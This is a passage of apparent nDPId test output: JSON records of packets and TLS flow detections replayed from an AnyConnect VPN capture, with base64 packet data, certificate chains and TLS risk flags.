+00434{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":469147,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95WAbsTaDbHM80ckoAQ\/\/9R7AAAAQEIChwNetI\/+Vn1"} +02384{"flow_id":12,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":509672,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"NDY7z3UoLH6BsEqhCABFAAXc\/KkAAPcGSA8IJWZbCgAA4wG73lYzzRySE2g2x4AYgACa1QAAAQEICj\/5Wh4AAAAASAGG+mwKAQUwKDAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5lbnRydXN0Lm5ldC9ycGEwCAYGZ4EMAQICMGgGCCsGAQUFBwEBBFwwWjAjBggrBgEFBQcwAYYXaHR0cDovL29jc3AuZW50cnVzdC5uZXQwMwYIKwYBBQUHMAKGJ2h0dHA6Ly9haWEuZW50cnVzdC5uZXQvbDFrLWNoYWluMjU2LmNlcjAfBgNVHSMEGDAWgBSConB03bxTP8971PfNf6dgxgpMvzAdBgNVHQ4EFgQUmi0VGuslo\/WsT4R+rNKNmFj1ZL0wCQYDVR0TBAIwADANBgkqhkiG9w0BAQsFAAOCAQEAKdBE7Z+\/QgBIjgKdoPLQP+aFD6KtOZlOiHey04vsERDOADqNdu8unwz6N0izPw2l\/n+UoPoV6GrQkCjChT893I2Smv8Vj1mVR9ZW1nnkmVR9MJr+xC5Iw99s1Ntq2M7Knro\/38pMlTbzDdIcgeyuFS+2iILYDpWpJ7TdQfZH5XVAvdIk3ZnRxtGd7Lcy\/jVbSYIGFTi\/TuA8Bv82FbHnQSqp4ezyTgTKuHmdSMry0pP20Z6nga4Vd2slNm7KOIghxUpnvRfKqVpF04m1QFzXE34qRtPEU80S1e6wlIl8ZcZrL\/KcU+88mv0xL3dpgVjURuISIJE90mwZCDqslRXPTgAFEjCCBQ4wggP2oAMCAQICDA7pTMMAAAAAUdN3hTANBgkqhkiG9w0BAQsFADCBvjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25seTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIwHhcNMTUxMDA1MTkxMzU2WhcNMzAxMjA1MTk0MzU2WjCBujELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDEyIEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25seTEuMCwGA1UEAxMlRW50cnVzdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEwxSzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANo\/ltBNuS9E59s5XptQ7lylYdpBZ1MJqgCajld\/KWvbx+EhJKo60I1HI9LtchbwkSHSXbe4S6iDj7eRMmjPziWTLLJ9l8j+wbQXugmeA5CTe3xJgyJoipveR8MxmHoufUAL0u8+07KMqo9Iqf8A6ClYBve2k1qUcyYmrVgO5UK41epzeWRoUyW4hM+Ueq4GRQyja03Qxr7qGKQ28JKyuhyIjzpSf\/debYMcnfAf5cPW3aV4kj2wbSzqyc+UQRlxRGi6RzwE6V26PvA19xW2nvIuFR4\/R8jIOKdzRV1NsDuxjhcpN+rdBQEiu5Q2Ko1bNf5TGS8IRsEqsxpiHU4r2RsCAwEAAaOCAQwwggEIMA4GA1UdDwEB\/wQEAwIBBjASBgNVHRMBAf8ECDAGAQH\/AgEAMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAYYXaHR0cDovL29jc3AuZW50cnVzdC5uZXQwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL2NybC5lbnRydXN0Lm5ldC9nMmNhLmNybDA7BgNVHSAENDAyMDAGBFUdIAAwKDAmBggrBgEFBQc="} +02380{"flow_id":12,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":509677,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"NDY7z3UoLH6BsEqhCABFAAXcxrMAAPcGfgUIJWZbCgAA4wG73lYzzSI6E2g2x4AYgAAceQAAAQEICj\/5Wh4AAAAAAgEWGmh0dHA6Ly93d3cuZW50cnVzdC5uZXQvcnBhMB0GA1UdDgQWBBSConB03bxTP8971PfNf6dgxgpMvzAfBgNVHSMEGDAWgBRqciZ60B7vfec7aVHUbI2fkBJmqzANBgkqhkiG9w0BAQsFAAOCAQEAOdWOmINhyCxj03AdGTDL9gmszGnVydw3QfIyD+90w1j2eCcJNAiVki\/X37ij\/Q6B6aSc0z9NaCsVMQoVzFIEk+iTUMPZseLhaLc6CXTxNFgKP3eYQLjmaP9d5MhGxeyB18mCGFyDznHYvL+smQKT25SYhNKcprX+XLvwSq8hrMI\/SSRn1i6Oz6zMZBUYcuVsd9NSqLndjawASjUZ1G9zo3Xva2TD4I2DEqGK5w6GTdi0IBu+aqWMS2hm4yvHWAv7VhDUkfsd0zFYEIxE43V7EJ21OLH2qsqBZGzo8uKBVZdRf+HCJ1CiyTxbAEP2W7nVpfz\/B1BAZwewVfC3fm4tzAAFAzCCBP8wggPnoAMCAQICBFHTQEQwDQYJKoZIhvcNAQELBQAwgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVuY2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDA5MjIxNzE0NTdaFw0yNDA5MjMwMTMxNTNaMIG+MQswCQYDVQQGEwJVUzEWMBQGA1UEChMNRW50cnVzdCwgSW5jLjEoMCYGA1UECxMfU2VlIHd3dy5lbnRydXN0Lm5ldC9sZWdhbC10ZXJtczE5MDcGA1UECxMwKGMpIDIwMDkgRW50cnVzdCwgSW5jLiAtIGZvciBhdXRob3JpemVkIHVzZSBvbmx5MTIwMAYDVQQDEylFbnRydXN0IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALqEtnLbngxr4pnpMAGnduoyuJVBGsnaYU5Ycs\/+9oJ5v3NhBgqlJ9izX9NFThxy1k4y8nKKD\/eDGdBqgIAARR6wx+eavxJXJxyjaC8Kh71qaw5eZfMcd9XUhY1wIbSzMueLotWGOQKxuNJHzuTJScQ7p977VH1XvvDobsJ5sjoLVeJQmBYyE1wveFbBwpSz8lrkJ5qfJNfG7NCbJYLjzMLERcWMl3oGayoRn6kKbkg7b9vUERlC948Hv\/VTX5w+9Bcs5mmsTjJMYnfqt+jluzS8GYuunFHnt361U7EzIuVtz3A8Gvrim2e2g\/SNpa9iTE3gWKxkNBID+LaNlGMkpHECAwEAAaOCAQ8wggELMA4GA1UdDwEB\/wQEAwIBBjASBgNVHRMBAf8ECDAGAQH\/AgEBMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAYYXaHR0cDovL29jc3AuZW50cnVzdC5uZXQwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC5lbnRydXN0Lm5ldC9yb290Y2ExLmNybDA7BgNVHSAENDAyMDAGBFUdIAAwKDAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5lbnRydXN0Lm5ldC9DUFMwHQYDVR0OBBYEFGpyJnrQHu995ztpUdRsjZ+QEmarMB8GA1UdIwQYMBaAFGiQ5GekplOAx4ZmpPH3S0P7hL1tMA0GCSqGSIb3DQEBCwUAA4IBAQBpM4P8KHpvfe+dVevFPnqddbPMwzg22TSiKGgY6h5p073n0HfauACDTkrPb9HxwSI="} +00435{"flow_id":12,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":509742,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95WAbsTaDbHM80iOoAQ\/\/9L8wAAAQEIChwNevo\/+Voe"} +00435{"flow_id":12,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":509743,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95WAbsTaDbHM80n4oAQ\/\/9GSwAAAQEIChwNevo\/+Voe"} +02322{"flow_id":12,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":547931,"pkt_caplen":1459,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1459,"pkt_l4_len":1425,"pkt":"NDY7z3UoLH6BsEqhCABFAAWl6qEAAPcGWk4IJWZbCgAA4wG73lYzzSfiE2g2x4AYgAA9NgAAAQEICj\/5WkYAAAAAP3Tk95hJnpu2nuHbmHctVjSxqDzZ\/cDNx78FA9QCxfHlxtoIpRPHYiMR0WEwHWCERe95qMYmk6S3zTS4acUT9pGzyUVzdraS9nYKW+EDR7fpKUyRMiM3Spw12Hj9HR\/kg4kkgK23+c\/kXaXUccSFW3Af2z8cAesaRSYxFMxlv2feyswzZeVBkdc3vkEalp3mipedp86sTpo9vQGgatlPIgCLRNVpYnsu68y655J9aWc9\/Lh83kGH0GnqugoYehqVQ7N5cSh2baH7V0rsTcgOEAAElTCCBJEwggN5oAMCAQICBEVrUFQwDQYJKoZIhvcNAQEFBQAwgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVuY2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjExMjcyMDIzNDJaFw0yNjExMjcyMDUzNDJaMIGwMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNRW50cnVzdCwgSW5jLjE5MDcGA1UECxMwd3d3LmVudHJ1c3QubmV0L0NQUyBpcyBpbmNvcnBvcmF0ZWQgYnkgcmVmZXJlbmNlMR8wHQYDVQQLExYoYykgMjAwNiBFbnRydXN0LCBJbmMuMS0wKwYDVQQDEyRFbnRydXN0IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC2lbZDQvrGbSpvSN+UTDlXBe7DeRFBaDbt7P6aAY+hOCj89xBGZi5NHhqxGk7G0cCViLDJ\/zGLMwPbt4N7PiCEXu2yViin+OC5QHE3xctHDpcqaMAilWIV20fZ9dAr\/4JLya0+3kzbkIBQPwmKhADsMAo9GM37\/SpZmiOVFyxFnh9uQ3ltDFyY\/kinxSNHXF79bucetPZoRdGGg1uiio2x4ymA\/iVxiK2+vI+sUpZLqlGN5BMxGehOTZ\/brLNq1bw5VHHKenp\/kN19HYDZgbtZJsIR\/uaT4veA5GX7NDcOKYBwTa84hi6ef1evnheu6xzLKCFfthzY56IEIvnT2tjLAgMBAAGjgbAwga0wDgYDVR0PAQH\/BAQDAgEGMA8GA1UdEwEB\/wQFMAMBAf8wKwYDVR0QBCQwIoAPMjAwNjExMjcyMDIzNDJagQ8yMDI2MTEyNzIwNTM0MlowHwYDVR0jBBgwFoAUaJDkZ6SmU4DHhmak8fdLQ\/uEvW0wHQYDVR0OBBYEFGiQ5GekplOAx4ZmpPH3S0P7hL1tMB0GCSqGSIb2fQdBAAQQMA4bCFY3LjE6NC4wAwIEkDANBgkqhkiG9w0BAQUFAAOCAQEAk9QwsNcDICrQ+WPokQwFIKlfGcp7ck7UsdvQlvtUWhksDAj3sryFqJ1\/bTtSsyrb59SEjGP2D8smAZFQbPRfFOKTdMATnjA6UOO0YMUc8CJEjXFHrMgayembmgBgE\/9wfl8RTUkbsxVSe8lU2r+dla9rmtie6fHkQ43iEUQ6v6+9g0JzUouqu6cpz\/VkHApN0byqrJ8q0P9\/f9p96rHtMCXBhNo00lt4g1bsnDbDJuIR9mdJHZKrjPvr\/3ruhUqnUIDwp1xKlC5fBZk8UkHgzbRjzwFDupyD3I9gO\/NatLR7rtoLkDh174EdZtL3V3A2s7\/8KK9xJYVbE\/4ef1q0PBYDAwAEDgAAAA=="} +01206{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":34,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":12,"flow_first_seen":1569687245379,"flow_last_seen":1569687245547,"flow_tot_l4_data_len":6304,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":525,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.102.91","src_port":56918,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"8":"Weak TLS cipher","24":"SNI TLS extension was missing"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","server_names":"*.pandion.viasat.com,pandion.viasat.com","ja3":"9f1a41f932f274fe47a992310a26a23a","ja3s":"82f0d8a75fa483d1cfe4b7085b784d7e","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Entrust, Inc., OU=See www.entrust.net\/legal-terms, OU=(c) 2012 Entrust, Inc. - for authorized use only, CN=Entrust Certification Authority - L1K","issuerDN":"C=US, ST=California, L=Carlsbad, O=Viasat Inc., CN=*.pandion.viasat.com","alpn":"http\/1.1","fingerprint":"92:70:CF:E3:69:4B:1D:F4:E2:DE:63:54:EC:DF:40:DB:F3:AC:D1:CA"}} +00435{"flow_id":12,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":547999,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95WAbsTaDbHM80tU4AQ\/\/9AjQAAAQEIChwNex8\/+VpG"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":36,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1569687245576,"flow_last_seen":0,"flow_tot_l4_data_len":97,"flow_min_l4_data_len":97,"flow_max_l4_data_len":97,"flow_avg_l4_data_len":97,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"52.37.243.173","src_port":56915,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":576189,"pkt_caplen":131,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":131,"pkt_l4_len":97,"pkt":"LH6BsEqhNDY7z3UoCABFAAB1AABAAEAGB84KAADjNCXzrd5TAbsf\/e\/ecO3V5YAYEAD5fAAAAQEIChwNezsAjX27FwMDADwAAAAAAAAABDacZQu2ja7FJp11i4XaHEcZRuFBd8RaXcXBvhAzXAi\/k3IQYhPu9V\/rSa1OnXc4wt4EKb0="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":37,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1569687245576,"flow_last_seen":0,"flow_tot_l4_data_len":97,"flow_min_l4_data_len":97,"flow_max_l4_data_len":97,"flow_avg_l4_data_len":97,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"52.37.243.173","src_port":56914,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":576934,"pkt_caplen":131,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":131,"pkt_l4_len":97,"pkt":"LH6BsEqhNDY7z3UoCABFAAB1AABAAEAGB84KAADjNCXzrd5SAbt7aDL2a\/IufIAYEADmYwAAAQEIChwNezsCYFg6FwMDADwAAAAAAAAAA\/6MZ3K3UnwgKSolneP\/V\/Ul5QfA4HWbTZY4CgoWP92J0WcPzatLmBPNGkrfeEXB3KaiGuM="} +00900{"flow_id":12,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":596440,"pkt_caplen":408,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":408,"pkt_l4_len":374,"pkt":"LH6BsEqhNDY7z3UoCABFAAGKAABAAEAGwAsKAADjCCVmW95WAbsTaDbHM80tU4AY\/\/+pJAAAAQEIChwNe04\/+VpGFgMDAQYQAAECAQBsGBLkfL+pTkLuJ1AGgMIFnah3sJlpMkzTBhiBUkjpMre1KpRGE6w5Vmh9mcRB8P2Z8iG+UJzjZhjxHKRMYI5\/HPqcNr7CwGjqxrHR8FpuukXr9KhtIzqsYfPNi4pKssz\/gboMgnK\/bH57fbMLH\/rl6Qbv+fL7TA82mmjPN0WTwWVrJUZAqyTnsUmZmpz4spFwoCJ6nU1L30wm66b9gA+e\/QX872qDo2wjvVQD8nLbP3BDVlBv2d+whR0Yx96Z8M95eNSEiq2kcSvHswPGAF1s5Fy\/Sgy+cu89iEXO3Cw7LvVg0czWvLRHTMoLLnjh0xr4QdBfhIAvFyx0cdTgHvuBFAMDAAEBFgMDAED7PFToWcuLeoMQBnfP0Z9XYdJUO2BBPTVQ39crvefndrJDQ5lSDQcQkDJTJ4R9W4JY3EjS+QSozFQVTKljyW1m"} +00537{"flow_id":12,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":636713,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"NDY7z3UoLH6BsEqhCABFAAB\/iREAAPcGwQQIJWZbCgAA4wG73lYzzS1TE2g4HYAYgACVLQAAAQEICj\/5Wp8cDXtOFAMDAAEBFgMDAEDllkG1IAug8S8sqM3n3iNS1LNB5MMCdyEdPjW7AL1gumzcUkXoZwb0oNzL6RTaSsQw4gsOBWyCNoSplvvWDSXv"} +00432{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":649655,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0y8JAACsGUUw0JfOtCgAA4wG73lNw7dXlH\/3wH4AQAAnwQQAAAQEICgCNhOgcDXs7"} +00431{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":653537,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0VN5AACoGyTA0JfOtCgAA4wG73lJr8i58e2gzN4AQAAkgwQAAAQEICgJgYHkcDXs7"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":53,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1569687245688,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.102.91","src_port":56919,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":688240,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"LH6BsEqhNDY7z3UoCABFAABAAABAAEAGwVUKAADjCCVmW95XAbsu53nzAAAAALAC\/\/+c+QAAAgQFtAEDAwUBAQgKHA17pgAAAAAEAgAA"} +00440{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":727730,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"NDY7z3UoLH6BsEqhCABFAAA4hY0AAPcGxM8IJWZbCgAA4wG73ldszApGLud59JASgAAy9QAAAgQFtAEBCAo\/+Vr5HA17pg=="} +00435{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":727790,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95XAbsu53n0bMwKR4AQ\/\/\/KjAAAAQEIChwNe8w\/+Vr5"} +00662{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":728221,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"LH6BsEqhNDY7z3UoCABFAADbAABAAEAGwLoKAADjCCVmW95XAbsu53n0bMwKR4AY\/\/+TfQAAAQEIChwNe8w\/+Vr5FgMBAKIBAACeAwOyKS4PH48MEPNrcANjNvEKq9DZdlehvPjBqsUvxif81gAALMAswDAAnwCdwCTAKABrAD3AK8AvAJ4AnMAjwCcAZwA8ADkANQAzAC8ACgD\/AQAASQALAAQDAAECAAoACgAIABkAGAAXABMADQAgAB4GAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgMAEAALAAkIaHR0cC8xLjE="} +00750{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":60,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":4,"flow_first_seen":1569687245688,"flow_last_seen":1569687245728,"flow_tot_l4_data_len":311,"flow_min_l4_data_len":32,"flow_max_l4_data_len":199,"flow_avg_l4_data_len":77,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.102.91","src_port":56919,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"24":"SNI TLS extension was missing"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"9f1a41f932f274fe47a992310a26a23a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00432{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":771463,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0q70AAPcGnqMIJWZbCgAA4wG73ldszApHLud6m4AQgABJugAAAQEICj\/5WyQcDXvM"} +02388{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":772680,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"NDY7z3UoLH6BsEqhCABFAAXckx8AAPcGsZkIJWZbCgAA4wG73ldszApHLud6m4AYgAApPgAAAQEICj\/5WyUAAAAAFgMDAEoCAABGAwN4vf\/NcbfYKtylqOiBV41A2BnhoFA3lGbvFRkrTB002iDNy7T+dcsoL9BRLaqv07Y1HoOlVVoee6IAolvNAV3AHgA1ABYDAxYMCwAWCAAWBQAHTzCCB0swggYzoAMCAQICEEzL1X2WMv84AAAAAFDtNsswDQYJKoZIhvcNAQELBQAwgboxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0L2xlZ2FsLXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxMiBFbnRydXN0LCBJbmMuIC0gZm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxLjAsBgNVBAMTJUVudHJ1c3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBMMUswHhcNMTkwMjA1MjE0MzU4WhcNMjEwMjA1MjIxMzU3WjBqMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTERMA8GA1UEBxMIQ2FybHNiYWQxFDASBgNVBAoTC1ZpYXNhdCBJbmMuMR0wGwYDVQQDDBQqLnBhbmRpb24udmlhc2F0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMDLELlHVBK6u0Ebo80pCb8efwbCh\/TMouznnqPBNL9tRNwaGpyybhpzuk1Zsi17UHvzdRRi5jC1ABXEEMLDXnTmlJa8rTgrPFp+bDbQ0hUdzWHHqPeU2HtG04mySjEkEvEPPwEnXQ9WDwkLnm26wRjipUJ8im1nDlikggUMLPlTTSKVgq3SBlVGLStLOLbOoOETJwpjr5YBSUNc5kkHfCAlc5qW4vLVkqFKFRcjyNxUOZxbBYtQaUddL0tuM4H9CfrWrqh9LLWx1xsOqHp+nS51DEO+pTwRR6wUyq6bNJMs+PbLCQs17zxAOp51PnIcZcczqbjMDGIgELfxksap7yECAwEAAaOCA5owggOWMDMGA1UdEQQsMCqCFCoucGFuZGlvbi52aWFzYXQuY29tghJwYW5kaW9uLnZpYXNhdC5jb20wggH3BgorBgEEAdZ5AgQCBIIB5